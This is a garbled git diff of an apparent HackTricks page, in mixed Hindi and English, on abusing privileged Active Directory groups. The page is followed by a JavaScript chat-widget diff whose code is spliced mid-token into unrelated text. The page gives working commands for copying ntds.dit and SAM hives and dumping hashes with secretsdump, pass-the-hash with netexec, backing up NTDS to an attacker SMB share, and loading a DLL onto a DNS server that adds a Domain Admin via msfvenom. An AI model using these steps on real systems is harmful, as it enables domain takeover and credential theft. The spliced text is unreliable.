`PsService` या `sc` का उपयोग करके Sysinternals से, कोई सेवा अनुमतियों का निरीक्षण और संशोधन कर सकता है। उदाहरण के लिए, `Server Operators` समूह के पास कुछ सेवाओं पर पूर्ण नियंत्रण होता है, जो मनमाने आदेशों के निष्पादन और विशेषाधिकार वृद्धि की अनुमति देता है: Sysinternals के `PsService` या `sc` का उपयोग करके, कोई सेवा अनुमतियों की जाँच और संशोधन कर सकता है। `Server Operators` समूह, उदाहरण के लिए, कुछ सेवाओं पर पूर्ण नियंत्रण रखता है, जिससे मनमाने कमांड के निष्पादन और Privilege Escalation की अनुमति मिलती है:
```cmd ```cmd
C:\> .\PsService.exe security AppReadiness C:\> .\PsService.exe security AppReadiness
``` ```
यह कमांड दिखाता है कि `Server Operators` के पास पूर्ण पहुंच है, जो उच्चाधिकार के लिए सेवाओं में हेरफेर करने की अनुमति देता है। यह कमांड दिखाता है कि `Server Operators` के पास पूर्ण पहुंच है, जो सेवाओं को हेरफेर करके उच्च विशेषाधिकार प्राप्त करने में सक्षम बनाती है।
## Backup Operators ## Backup Operators
`Backup Operators` समूह में सदस्यता `DC01` फ़ाइल प्रणाली तक पहुंच प्रदान करती है क्योंकि इसमें `SeBackup` और `SeRestore` विशेषाधिकार होते हैं। ये विशेषाधिकार फ़ोल्डर यात्रा, सूची बनाने और फ़ाइलों की कॉपी करने की क्षमताएं सक्षम करते हैं, यहां तक कि स्पष्ट अनुमतियों के बिना, `FILE_FLAG_BACKUP_SEMANTICS` ध्वज का उपयोग करते हुए। इस प्रक्रिया के लिए विशिष्ट स्क्रिप्ट का उपयोग करना आवश्यक है। `Backup Operators` समूह की सदस्यता `SeBackup` और `SeRestore` privileges के कारण `DC01` फ़ाइल सिस्टम तक पहुँच प्रदान करती है। ये privileges फ़ोल्डर traversal, listing, और फ़ाइल कॉपी करने की क्षमताएँ सक्षम करते हैं, यहाँ तक कि स्पष्ट अनुमतियों के बिना भी, `FILE_FLAG_BACKUP_SEMANTICS` फ़्लैग का उपयोग करके। इस प्रक्रिया के लिए विशिष्ट scripts का उपयोग आवश्यक है।
समूह के सदस्यों की सूची बनाने के लिए, निष्पादित करें: समूह के सदस्यों को सूचीबद्ध करने के लिए, निष्पादित करें:
```bash ```bash
Get-NetGroupMember -Identity "Backup Operators" -Recurse Get-NetGroupMember -Identity "Backup Operators" -Recurse
``` ```
### Local Attack ### स्थानीय हमला
इन विशेषाधिकारों का स्थानीय रूप से लाभ उठाने के लिए, निम्नलिखित चरणों का उपयोग किया जाता है: इन privileges का स्थानीय रूप से लाभ उठाने के लिए, निम्नलिखित चरण अपनाए जाते हैं:
1. आवश्यक पुस्तकालयों को आयात करें: 1. आवश्यक libraries आयात करें:
```bash ```bash
Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeCmdLets.dll
@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege Set-SeBackupPrivilege
Get-SeBackupPrivilege Get-SeBackupPrivilege
``` ```
3. प्रतिबंधित निर्देशिकाओं से फ़ाइलों तक पहुँचें और उन्हें कॉपी करें, उदाहरण के लिए: 3. सीमित निर्देशिकाओं से फ़ाइलों तक पहुँचें और उन्हें कॉपी करें, उदाहरण के लिए:
```bash ```bash
dir C:\Users\Administrator\ dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
``` ```
### AD Attack ### AD Attack
डोमेन कंट्रोलर की फ़ाइल प्रणाली तक सीधी पहुँच `NTDS.dit` डेटाबेस की चोरी की अनुमति देती है, जिसमें डोमेन उपयोगकर्ताओं और कंप्यूटरों के सभी NTLM हैश होते हैं। Domain Controller के फ़ाइल सिस्टम तक प्रत्यक्ष पहुँच से `NTDS.dit` डेटाबेस को चोरी किया जा सकता है, जिसमें domain users और computers के सभी NTLM hashes शामिल होते हैं।
#### Using diskshadow.exe #### diskshadow.exe का उपयोग
1. `C` ड्राइव की एक शैडो कॉपी बनाएं: 1. `C` ड्राइव की shadow copy बनाएँ:
```cmd ```cmd
diskshadow.exe diskshadow.exe
set verbose on set verbose on
@ -98,7 +98,7 @@ expose %cdrive% F:
end backup end backup
exit exit
``` ```
2. `NTDS.dit` को शैडो कॉपी से कॉपी करें: 2. `NTDS.dit` को shadow copy से कॉपी करें:
```cmd ```cmd
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
``` ```
@ -106,7 +106,7 @@ Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```cmd ```cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit robocopy /B F:\Windows\NTDS .\ntds ntds.dit
``` ```
3. हैश पुनर्प्राप्ति के लिए `SYSTEM` और `SAM` निकालें: 3. हैश प्राप्त करने के लिए `SYSTEM` और `SAM` निकालें:
```cmd ```cmd
reg save HKLM\SYSTEM SYSTEM.SAV reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV reg save HKLM\SAM SAM.SAV
@ -115,10 +115,18 @@ reg save HKLM\SAM SAM.SAV
```shell-session ```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
``` ```
#### wbadmin.exe का उपयोग करना 5. निकासी के बाद: DA को Pass-the-Hash
```bash
# Use the recovered Administrator NT hash to authenticate without the cleartext password
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
1. हमलावर मशीन पर SMB सर्वर के लिए NTFS फ़ाइल सिस्टम सेट करें और लक्षित मशीन पर SMB क्रेडेंशियल्स कैश करें। # Or execute via SMB using an exec method
2. सिस्टम बैकअप और `NTDS.dit` निष्कर्षण के लिए `wbadmin.exe` का उपयोग करें: netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
```
#### Using wbadmin.exe
1. हमलावर मशीन पर SMB server के लिए NTFS filesystem सेटअप करें और लक्षित मशीन पर SMB credentials को cache करें।
2. सिस्टम बैकअप और `NTDS.dit` extraction के लिए `wbadmin.exe` का उपयोग करें:
```cmd ```cmd
net use X: \\<AttackIP>\sharename /user:smbuser password net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
@ -126,23 +134,29 @@ wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
``` ```
व्यावहारिक प्रदर्शन के लिए, देखें [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
## DnsAdmins ## DnsAdmins
**DnsAdmins** समूह के सदस्य अपने विशेषाधिकारों का उपयोग करके DNS सर्वर पर SYSTEM विशेषाधिकारों के साथ एक मनमाना DLL लोड कर सकते हैं, जो अक्सर डोमेन कंट्रोलर्स पर होस्ट किया जाता है। यह क्षमता महत्वपूर्ण शोषण की संभावना की अनुमति देती है। **DnsAdmins** समूह के सदस्य अपने privileges का उपयोग करके अक्सर Domain Controllers पर होस्ट किए गए DNS server पर SYSTEM privileges के साथ किसी भी मनमाने DLL को लोड कर सकते हैं। यह क्षमता महत्वपूर्ण exploitation potential प्रदान करती है।
DnsAdmins समूह के सदस्यों की सूची बनाने के लिए, उपयोग करें: DnsAdmins समूह के सदस्यों को सूचीबद्ध करने के लिए, उपयोग करें:
```bash ```bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse Get-NetGroupMember -Identity "DnsAdmins" -Recurse
``` ```
### Execute arbitrary DLL ### किसी भी DLL का निष्पादन (CVE202140469)
सदस्य DNS सर्वर को एक मनमाना DLL (या तो स्थानीय रूप से या एक दूरस्थ शेयर से) लोड करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं: > [!NOTE]
> यह भेद्यता DNS service में SYSTEM privileges के साथ arbitrary code के निष्पादन की अनुमति देती है (आमतौर पर DCs के अंदर)। यह समस्या 2021 में ठीक कर दी गई थी।
सदस्य DNS server को किसी भी DLL (स्थानीय रूप से या किसी remote share से) लोड करा सकते हैं, जैसे निम्नलिखित कमांड्स का उपयोग करके:
```bash ```bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage: An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
# If dnscmd is not installed run from aprivileged PowerShell session:
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
``` ```
```c ```c
@ -158,7 +172,7 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
// Generate DLL with msfvenom // Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
``` ```
DNS सेवा को पुनः प्रारंभ करना (जिसके लिए अतिरिक्त अनुमतियों की आवश्यकता हो सकती है) DLL को लोड करने के लिए आवश्यक है: DLL के लोड होने के लिए DNS सेवा को पुनः आरंभ करना (जिसके लिए अतिरिक्त अनुमतियाँ आवश्यक हो सकती हैं) आवश्यक है:
```csharp ```csharp
sc.exe \\dc01 stop dns sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns sc.exe \\dc01 start dns
@ -167,14 +181,14 @@ For more details on this attack vector, refer to ired.team.
#### Mimilib.dll #### Mimilib.dll
यह भी संभव है कि कमांड निष्पादन के लिए mimilib.dll का उपयोग किया जाए, इसे विशिष्ट कमांड या रिवर्स शेल निष्पादित करने के लिए संशोधित किया जाए। [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information. यह भी संभव है कि mimilib.dll का उपयोग command execution के लिए किया जाए — इसे specific commands या reverse shells चलाने के लिए संशोधित किया जा सकता है। [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
### WPAD Record for MitM ### WPAD रिकॉर्ड (MitM के लिए)
DnsAdmins DNS रिकॉर्ड को मैन-इन-द-मिडल (MitM) हमलों को करने के लिए हेरफेर कर सकते हैं, वैश्विक क्वेरी ब्लॉक सूची को अक्षम करने के बाद WPAD रिकॉर्ड बनाकर। Responder या Inveigh जैसे उपकरणों का उपयोग स्पूफिंग और नेटवर्क ट्रैफ़िक कैप्चर करने के लिए किया जा सकता है DnsAdmins DNS रिकॉर्ड्स को manipulate कर सकते हैं ताकि Man-in-the-Middle (MitM) attacks किए जा सकें — उदाहरण के लिए global query block list को disable करने के बाद WPAD record बनाकर। Tools like Responder or Inveigh spoofing और network traffic capture करने के लिए इस्तेमाल किए जा सकते हैं
### Event Log Readers ### Event Log Readers
सदस्य इवेंट लॉग्स तक पहुँच सकते हैं, संभावित रूप से संवेदनशील जानकारी जैसे कि प्लेनटेक्स्ट पासवर्ड या कमांड निष्पादन विवरण पा सकते हैं: Members event logs तक पहुँच सकते हैं, संभावित रूप से ऐसी संवेदनशील जानकारी पा सकते हैं जैसे plaintext passwords या command execution details:
```bash ```bash
# Get members and search logs for sensitive information # Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse Get-NetGroupMember -Identity "Event Log Readers" -Recurse
@ -182,18 +196,18 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va
``` ```
## Exchange Windows Permissions ## Exchange Windows Permissions
यह समूह डोमेन ऑब्जेक्ट पर DACLs को संशोधित कर सकता है, संभावित रूप से DCSync विशेषाधिकार प्रदान कर सकता है। इस समूह का उपयोग करके विशेषाधिकार वृद्धि के लिए तकनीकों का विवरण Exchange-AD-Privesc GitHub repo में दिया गया है यह समूह domain object पर DACLs को संशोधित कर सकता है, जो संभावित रूप से DCSync privileges प्रदान कर सकता है। इस समूह का फायदा उठाकर privilege escalation की तकनीकें Exchange-AD-Privesc GitHub repo में विस्तृत हैं
```bash ```bash
# List members # List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
``` ```
## Hyper-V Administrators ## Hyper-V प्रशासक
Hyper-V Administrators को Hyper-V पर पूर्ण पहुँच होती है, जिसका उपयोग वर्चुअलाइज्ड डोमेन कंट्रोलर्स पर नियंत्रण प्राप्त करने के लिए किया जा सकता है। इसमें लाइव DCs को क्लोन करना और NTDS.dit फ़ाइल से NTLM हैश निकालना शामिल है। Hyper-V प्रशासकों के पास Hyper-V पर पूर्ण पहुँच होती है, जिसका दुरुपयोग virtualized Domain Controllers पर नियंत्रण हासिल करने के लिए किया जा सकता है। इसमें live DCs की cloning और NTDS.dit फ़ाइल से NTLM hashes निकालना शामिल है।
### Exploitation Example ### शोषण उदाहरण
Firefox का Mozilla Maintenance Service Hyper-V Administrators द्वारा SYSTEM के रूप में कमांड निष्पादित करने के लिए शोषित किया जा सकता है। इसमें एक सुरक्षित SYSTEM फ़ाइल के लिए एक हार्ड लिंक बनाना और इसे एक दुर्भावनापूर्ण निष्पादन योग्य फ़ाइल से बदलना शामिल है: Firefox की Mozilla Maintenance Service का Hyper-V प्रशासक द्वारा दुरुपयोग करके SYSTEM के रूप में कमांड चलाए जा सकते हैं। इसमें एक protected SYSTEM फ़ाइल के लिए hard link बनाना और उसे एक malicious executable से बदलना शामिल है:
```bash ```bash
# Take ownership and start the service # Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
@ -201,47 +215,51 @@ sc.exe start MozillaMaintenance
``` ```
Note: Hard link exploitation has been mitigated in recent Windows updates. Note: Hard link exploitation has been mitigated in recent Windows updates.
## Group Policy Creators Owners
यह समूह सदस्यों को domain में Group Policies बनाने की अनुमति देता है। हालांकि, इसके सदस्य users या groups पर group policies लागू नहीं कर सकते और न ही मौजूदा GPOs को संपादित कर सकते हैं।
## Organization Management ## Organization Management
In environments where **Microsoft Exchange** is deployed, a special group known as **Organization Management** holds significant capabilities. This group is privileged to **access the mailboxes of all domain users** and maintains **full control over the 'Microsoft Exchange Security Groups'** Organizational Unit (OU). This control includes the **`Exchange Windows Permissions`** group, which can be exploited for privilege escalation. ऐसे वातावरण में जहाँ **Microsoft Exchange** तैनात है, एक विशेष समूह जिसे **Organization Management** कहा जाता है, महत्वपूर्ण क्षमताएँ रखता है। इस समूह को सभी domain users के mailboxes तक पहुंच (access) का अधिकार प्राप्त है और यह 'Microsoft Exchange Security Groups' Organizational Unit (OU) पर पूर्ण नियंत्रण रखता है। इस नियंत्रण में **`Exchange Windows Permissions`** समूह भी शामिल है, जिसका उपयोग privilege escalation के लिए किया जा सकता है।
### Privilege Exploitation and Commands ### Privilege Exploitation and Commands
#### Print Operators #### Print Operators
**Print Operators** समूह के सदस्यों को कई विशेषाधिकार दिए गए हैं, जिसमें **`SeLoadDriverPrivilege`** शामिल है, जो उन्हें **डोमेन कंट्रोलर पर स्थानीय रूप से लॉग इन** करने, उसे बंद करने और प्रिंटर प्रबंधित करने की अनुमति देता है। इन विशेषाधिकारों का लाभ उठाने के लिए, विशेष रूप से यदि **`SeLoadDriverPrivilege`** एक निम्न स्तर के संदर्भ में दिखाई नहीं देता है, तो उपयोगकर्ता खाता नियंत्रण (UAC) को बायपास करना आवश्यक है। **Print Operators** समूह के सदस्यों को कई privileges दिए गए होते हैं, जिनमें **`SeLoadDriverPrivilege`** शामिल है, जो उन्हें **Domain Controller पर locally log on** करने, उसे shut down करने और printers को manage करने की अनुमति देता है। इन privileges को exploit करने के लिए, विशेषकर यदि **`SeLoadDriverPrivilege`** कोई unelevated context में दिखाई नहीं देता, तो User Account Control (UAC) को bypass करना आवश्यक है।
इस समूह के सदस्यों की सूची बनाने के लिए, निम्नलिखित PowerShell कमांड का उपयोग किया जाता है: इस समूह के सदस्यों की सूची देखने के लिए, निम्न PowerShell command का उपयोग किया जाता है:
```bash ```bash
Get-NetGroupMember -Identity "Print Operators" -Recurse Get-NetGroupMember -Identity "Print Operators" -Recurse
``` ```
**`SeLoadDriverPrivilege`** से संबंधित अधिक विस्तृत शोषण तकनीकों के लिए, किसी को विशिष्ट सुरक्षा संसाधनों से परामर्श करना चाहिए अधिक विस्तृत exploitation techniques जो **`SeLoadDriverPrivilege`** से संबंधित हैं, के लिए विशिष्ट security resources का संदर्भ लें
#### Remote Desktop Users #### रिमोट डेस्कटॉप उपयोगकर्ता
इस समूह के सदस्यों को Remote Desktop Protocol (RDP) के माध्यम से PCs तक पहुँच प्रदान की जाती है। इन सदस्यों की गणना करने के लिए, PowerShell कमांड उपलब्ध हैं: इस समूह के सदस्यों को Remote Desktop Protocol (RDP) के माध्यम से पीसी तक पहुँच प्रदान की जाती है। इन सदस्यों की सूची निकालने के लिए PowerShell कमांड उपलब्ध हैं:
```bash ```bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users" Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
``` ```
RDP का शोषण करने के लिए और जानकारी समर्पित pentesting संसाधनों में पाई जा सकती है। exploiting RDP के बारे में और जानकारी समर्पित pentesting संसाधनों में मिल सकती है।
#### रिमोट प्रबंधन उपयोगकर्ता #### रिमोट प्रबंधन उपयोगकर्ता
सदस्य **Windows Remote Management (WinRM)** के माध्यम से PCs तक पहुँच सकते हैं। इन सदस्यों की गणना निम्नलिखित के माध्यम से की जाती है: सदस्य **Windows Remote Management (WinRM)** के माध्यम से पीसी तक पहुँच सकते हैं। इन सदस्यों की enumeration निम्न तरीकों से की जाती है:
```bash ```bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users" Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
``` ```
**WinRM** से संबंधित शोषण तकनीकों के लिए, विशेष दस्तावेज़ों का संदर्भ लिया जाना चाहिए। **WinRM** से संबंधित exploitation techniques के लिए, विशिष्ट दस्तावेज़ों का संदर्भ लिया जाना चाहिए।
#### सर्वर ऑपरेटर #### सर्वर ऑपरेटर
इस समूह को डोमेन नियंत्रकों पर विभिन्न कॉन्फ़िगरेशन करने की अनुमति है, जिसमें बैकअप और पुनर्स्थापना विशेषाधिकार, सिस्टम समय बदलना, और सिस्टम को बंद करना शामिल है। सदस्यों की गणना करने के लिए, प्रदान किया गया आदेश है: यह समूह Domain Controllers पर विभिन्न कॉन्फ़िगरेशनों को करने के लिए अनुमतियाँ रखता है, जिसमें बैकअप और पुनर्स्थापना विशेषाधिकार, सिस्टम का समय बदलना और सिस्टम को बंद करना शामिल हैं। सदस्यों की सूची प्राप्त करने के लिए, दिया गया कमांड है:
```bash ```bash
Get-NetGroupMember -Identity "Server Operators" -Recurse Get-NetGroupMember -Identity "Server Operators" -Recurse
``` ```
## References <a href="#references" id="references"></a> ## संदर्भ <a href="#references" id="references"></a>
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) - [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) - [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) - [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html) - [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -5,7 +5,10 @@
(() => { (() => {
const KEY = 'htSummerDiscountsDismissed'; const KEY = 'htSummerDiscountsDismissed';
const IMG = '/images/discount.jpeg'; const IMG = '/ima * HackTricks AI Chat Widget v1.17 enhanced resizable sidebar
* ---------------------------------------------------
* Markdown rendering + sanitised (same as before)
* ENHANCED: improved dragtoresize panel with better UXdiscount.jpeg';
const TXT = 'Click here for HT Summer Discounts, Last Days!'; const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz'; const URL = 'https://training.hacktricks.xyz';
@ -13,7 +16,20 @@
if (localStorage.getItem(KEY) === 'true') return; if (localStorage.getItem(KEY) === 'true') return;
// Quick helper // Quick helper
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
<div id="ht-ai-header">
<strong>HackTricks AI Chat</strong>
<span style="font-size:11px;opacity:0.6;margin-left:8px;"> Drag edge to resize</span>
<div class="ht-actions">
<button id="ht-ai-reset" title="Reset"></button>
<span id="ht-ai-close" title="Close"></span>
</div>
</div>
<div id="ht-ai-chat"></div>
<div id="ht-ai-input">
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
<button id="ht-ai-send">Send</button>
</div>`;tag), { style: css });
// --- Overlay (blur + dim) --- // --- Overlay (blur + dim) ---
const overlay = $('div', ` const overlay = $('div', `
@ -111,7 +127,7 @@
const MAX_CONTEXT = 3000; // highlightedtext char limit const MAX_CONTEXT = 3000; // highlightedtext char limit
const MAX_QUESTION = 500; // question char limit const MAX_QUESTION = 500; // question char limit
const MIN_W = 250; // ← resize limits → const MIN_W = 250; // ← resize limits →
const MAX_W = 600; const MAX_W = 800;
const DEF_W = 350; // default width (if nothing saved) const DEF_W = 350; // default width (if nothing saved)
const TOOLTIP_TEXT = const TOOLTIP_TEXT =
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
@ -345,8 +361,9 @@
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif} #ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
#ht-ai-panel.open{transform:translateX(0)} #ht-ai-panel.open{transform:translateX(0)}
@media(max-width:768px){#ht-ai-panel{display:none}} @media(max-width:768px){#ht-ai-panel{display:none}}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333} #ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center} #ht-ai-header strong{flex-shrink:0}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0} #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7} #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px} #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
@ -367,8 +384,10 @@
::selection{background:#ffeb3b;color:#000} ::selection{background:#ffeb3b;color:#000}
::-moz-selection{background:#ffeb3b;color:#000} ::-moz-selection{background:#ffeb3b;color:#000}
/* NEW: resizer handle */ /* NEW: resizer handle */
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent} #ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`; #ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
const s = document.createElement("style"); const s = document.createElement("style");
s.id = "ht-ai-style"; s.id = "ht-ai-style";
s.textContent = css; s.textContent = css;
@ -432,24 +451,43 @@
const onMove = (e) => { const onMove = (e) => {
if (!dragging) return; if (!dragging) return;
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx e.preventDefault();
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
const dx = startX - clientX; // dragging leftwards ⇒ +dx
let newW = startW + dx; let newW = startW + dx;
newW = Math.min(Math.max(newW, MIN_W), MAX_W); newW = Math.min(Math.max(newW, MIN_W), MAX_W);
panel.style.width = newW + "px"; panel.style.width = newW + "px";
}; };
const onUp = () => { const onUp = () => {
if (!dragging) return; if (!dragging) return;
dragging = false; dragging = false;
handle.style.background = "";
document.body.style.userSelect = "";
document.body.style.cursor = "";
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10)); localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
document.removeEventListener("mousemove", onMove); document.removeEventListener("mousemove", onMove);
document.removeEventListener("mouseup", onUp); document.removeEventListener("mouseup", onUp);
document.removeEventListener("touchmove", onMove);
document.removeEventListener("touchend", onUp);
}; };
handle.addEventListener("mousedown", (e) => {
const onStart = (e) => {
e.preventDefault();
dragging = true; dragging = true;
startX = e.clientX; startX = e.clientX || (e.touches && e.touches[0].clientX);
startW = parseInt(window.getComputedStyle(panel).width, 10); startW = parseInt(window.getComputedStyle(panel).width, 10);
handle.style.background = "rgba(255,255,255,.25)";
document.body.style.userSelect = "none";
document.body.style.cursor = "ew-resize";
document.addEventListener("mousemove", onMove); document.addEventListener("mousemove", onMove);
document.addEventListener("mouseup", onUp); document.addEventListener("mouseup", onUp);
}); document.addEventListener("touchmove", onMove, { passive: false });
document.addEventListener("touchend", onUp);
};
handle.addEventListener("mousedown", onStart);
handle.addEventListener("touchstart", onStart, { passive: false });
} }
})(); })();